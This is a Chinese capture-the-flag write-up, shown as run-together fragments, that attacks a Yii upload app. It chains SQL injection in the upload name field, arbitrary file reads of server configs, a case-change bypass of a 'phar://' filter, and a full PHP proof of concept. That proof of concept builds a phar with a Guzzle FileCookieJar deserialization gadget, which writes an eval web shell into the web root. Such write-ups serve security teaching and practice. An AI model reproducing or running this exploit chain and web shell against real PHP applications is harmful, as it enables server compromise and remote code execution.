题目地址:http://58.20.46.148:21333/
CREATE TABLE IF NOT EXISTS "users" (
  "id" integer PRIMARY KEY AUTOINCREMENT NOT NULL,
  "username" char(1024) NOT NULL,
  "password" char(1024) NOT NULL,
  "filepath" varchar(1024)
);$filepath = '../uploads/'.$_POST['UploadForm[name]'].'.';
$filepath .= pathinfo($_FILES['UploadForm[imageFile]']['name'], PATHINFO_EXTENSION);
echo $filepath;$filepath 作为文件名传入读取文件类的函数,如果 $filepath 可以任意控制的话就可以读取 php 文件了,但是题目检测 $_POST['UploadForm[name]'] 中是不是存在 ph,如果存在上传失败。UploadForm[name]=',filepath='/etc/apt/source
filename=lilac.listUploadForm[name]=',filepath='/etc/apache2/sites-enabled/000-default.conf',username='lilac
filename=whatever<VirtualHost *:80>
    ...
    ServerAdmin webmaster@localhost
    DocumentRoot /var/www/html/You_Cant_Gu3ss/web
    ...
</VirtualHost>➜  controllers cat UsersController.php 
<?php
namespace app\controllers;
use Yii;
use app\models\Users;
use app\models\UsersSearch;
use yii\web\Controller;
use yii\web\NotFoundHttpException;
use yii\filters\VerbFilter;
use app\models\UploadForm;
use yii\web\UploadedFile;
/**
 * UsersController implements the CRUD actions for Users model.
 */
class UsersController extends Controller
{
    public function actionFile()
    {
        if (!Yii::$app->session->get('id')) {
            return $this->redirect(['site/index']);
        }
        $model = new UploadForm();
        if (Yii::$app->request->isPost) {
            $model->imageFile = UploadedFile::getInstance($model, 'imageFile');
            $model->name = Yii::$app->request->post('UploadForm')['name'];
            if ($path = $model->upload()) {
                $filename = $path;
                $sql = 'update users set filepath = \''.$filename.'\' where id = '.Yii::$app->session->get('id');
                Yii::$app->db->createCommand($sql)->execute();
                \Yii::$app->getSession()->setFlash('success', "File upload Success! path is ../uploads/".$model->name.'.'.$model->imageFile->extension);
                return $this->render('file', ['model' => $model]);
            }
        }
        return $this->render('file', ['model' => $model]);
    }
    public function actionShow(){
        if (!Yii::$app->session->get('id')) {
            return $this->redirect(['site/index']);
        }
        $model = Users::find()->where(['id'=>Yii::$app->session->get('id')])->one();
        if (!$model->filepath){
            \Yii::$app->getSession()->setFlash('error', "You should upload your image first");
            return $this->redirect(['file']);
        }
        if (substr($model->filepath, 0,7)=='phar://') {
            \Yii::$app->getSession()->setFlash('error', "no phar! ");
            return $this->redirect(['file']);
        }
        $content = @file_get_contents($model->filepath);
        header("Content-Type: image/jpeg;text/html; charset=utf-8");
        echo $content;
        exit;
    }
}readfile("PHP://FILTER/convert.BASE64-ENCODE/resource=/etc/hostname");
readfile("FILE:///etc/hostname");1. 框架代码(大量 Gadget 可用)
2. 服务器已知文件内容可控
3. 文件读取函数的文件路径参数可控vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php
存在可控的文件写操作,考虑使用该类反序列化写 shell<?php
require __DIR__ . '/vendor/autoload.php';
use GuzzleHttp\Cookie\FileCookieJar;
use GuzzleHttp\Cookie\SetCookie;
$payload = '<?php eval($_REQUEST[1])?>';
$obj = new FileCookieJar('/var/www/html/You_Cant_Gu3ss/web/assets/lilac.php');
$c = new SetCookie([
    'Name' => 'foo',
    'Value' => 'bar',
    'Domain' => $payload,
    'Expires' => time()+0x100,
    'Discard' => false,
]);
$obj->setCookie($c);
$data = serialize($obj);
print_r($data);
file_put_contents("poc.dat", $data);
$phar_filename = "lilac.phar";
@unlink($phar_filename);
$phar = new Phar($phar_filename);
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($obj);
$phar->addFromString("lilac", "lilac");
$phar->stopBuffering();UploadForm[name]=1',filepath='Phar:///var/www/html/You_Cant_Gu3ss/uploads/lilac.jpg/lilac',username='lilaclilac\x00 所以复制的时候会被坑,应该直接写文件里